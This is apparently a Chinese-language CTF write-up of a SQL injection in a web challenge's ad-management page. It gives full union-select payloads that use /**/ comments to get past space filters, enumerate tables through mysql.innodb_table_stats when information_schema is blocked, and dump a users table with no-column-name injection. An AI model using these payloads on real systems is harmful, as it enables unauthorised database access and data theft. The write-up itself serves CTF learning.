一个登录界面 这里测试了一下并没有发现sql注入点
注册了一个账号
最终在广告信息管理中发现sql注入点
开始注入
经过一些简单的测试可知空格 or 等被过滤了,所以这里用group来测列数
这里的闭合方式用 引号' 不然会报错
可以看到列23报错
现在查回显位
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'3回显位2,3
曝库
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'3得到web1库
然后就是报表
但是这里information_schema.tables被过滤,这里有两种绕过姿势
mysql.innodb_table_stats sys.schema_auto_increment_columns1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'接着曝列
但是总是被ban
看了其他师傅的wp知道 要用无列名注入
pyload
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1把2改成3即可得到flag